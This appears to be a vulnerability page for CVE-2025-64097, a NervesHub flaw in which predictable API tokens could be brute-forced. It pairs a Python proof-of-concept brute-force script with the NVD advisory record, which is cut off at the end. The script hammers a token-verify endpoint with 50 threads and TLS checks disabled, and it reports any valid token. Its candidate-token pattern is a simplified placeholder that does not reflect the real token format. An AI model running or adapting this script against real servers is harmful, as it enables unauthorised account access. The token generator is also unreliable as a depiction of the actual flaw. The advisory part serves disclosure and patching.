CVE-2025-64097

import requests import itertools import string import sys from concurrent.futures import ThreadPoolExecutor, as_completed # CVE-2025-64097 PoC - NervesHub Token Brute Force # Target: NervesHub instances < v2.3.0 TARGET_URL = "https://target-nerveshub.example.com/api/tokens/verify" TARGET_USER_ID = 12345 # Target user ID (can be enumerated) def generate_predictable_tokens(user_id, count=1000): """Generate tokens using predictable pattern (demonstration only)""" tokens = [] # Pattern: user_id + timestamp_low + random_suffix (simplified) for i in range(count): token = f"nh_{user_id}_{i:06d}_{''.join(['a']*16)}" tokens.append(token) return tokens def test_token(token): """Test if token is valid""" try: response = requests.post( TARGET_URL, headers={"Authorization": f"Bearer {token}"}, timeout=10, verify=False ) if response.status_code == 200: return token, True, response.json() return token, False, None except Exception as e: return token, False, None def main(): print(f"[*] CVE-2025-64097 NervesHub Token Brute Force PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Target User ID: {TARGET_USER_ID}") tokens = generate_predictable_tokens(TARGET_USER_ID, 10000) print(f"[*] Generated {len(tokens)} candidate tokens") print("[*] Starting brute force attack...") with ThreadPoolExecutor(max_workers=50) as executor: futures = {executor.submit(test_token, token): token for token in tokens} for future in as_completed(futures): token, is_valid, response = future.result() if is_valid: print(f"[!] VALID TOKEN FOUND: {token}") print(f"[!] Response: {response}") return token print("[-] No valid token found (target may be patched or offline)") return None if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-64097", "sourceIdentifier": "[email protected]", "published": "2026-01-22T15:16:48.223", "lastModified": "2026-02-17T19:37:14.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NervesHub is a web service that allows users to manage over-the-air (OTA) firmware updates of devices in the field. A vulnerability present starting in version 1.0.0 and prior to version 2.3.0 allowed attackers to brute-force user API tokens due to the predictable format of previously issued tokens. Tokens included user-identifiable components and were not cryptographically secure, making them susceptible to guessing or enumeration. The vulnerability could have allowed unauthorized access to user accounts or API actions protected by these tokens. A fix is available in version 2.3.0 of NervesHub. This version introduces strong, cryptographically-random tokens using `:crypto.strong_rand_bytes/1`, hashing of tokens before database storage to prevent misuse even if the database is compromised, and context-aware token storage to distinguish between session and API tokens. There are no practical workarounds for this issue other than upgrading. In sensitive environments, as a temporary mitigation,\nfirewalling access to the NervesHub server can help limit exposure until an upgrade is possible."}, {"lang": "es", "value": "NervesHub es un servicio web que permite a los usuarios gestionar actualizaciones de firmware por aire (OTA) de dispositivos en campo. Una vulnerabilidad presente a partir de la versión 1.0.0 y anterior a la versión 2.3.0 permitía a los atacantes forzar por fuerza bruta tokens de API de usuario debido al formato predecible de los tokens emitidos previamente. Los tokens incluían componentes identificables por el usuario y no eran criptográficamente seguros, haciéndolos susceptibles a la adivinación o enumeración. La vulnerabilidad podría haber permitido acceso no autorizado a cuentas de usuario o acciones de API protegidas por estos tokens. Una solución está disponible en la versión 2.3.0 de NervesHub. Esta versión introduce tokens fuertes y criptográficamente aleatorios usando ':crypto.strong_rand_bytes/1', el hash de los tokens antes del almacenamiento en la base de datos para prevenir el uso indebido incluso si la base de datos está comprometida, y almacenamiento de tokens consciente del contexto para distinguir entre tokens de sesión y de API. No hay soluciones alternativas prácticas para este problema aparte de la actualización. En entornos sensibles, como una mitigación temporal, el acceso con firewall al servidor de NervesHub puede ayudar a limitar la exposición hasta que sea posible una actualización."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.5, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-330"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": ... (truncated)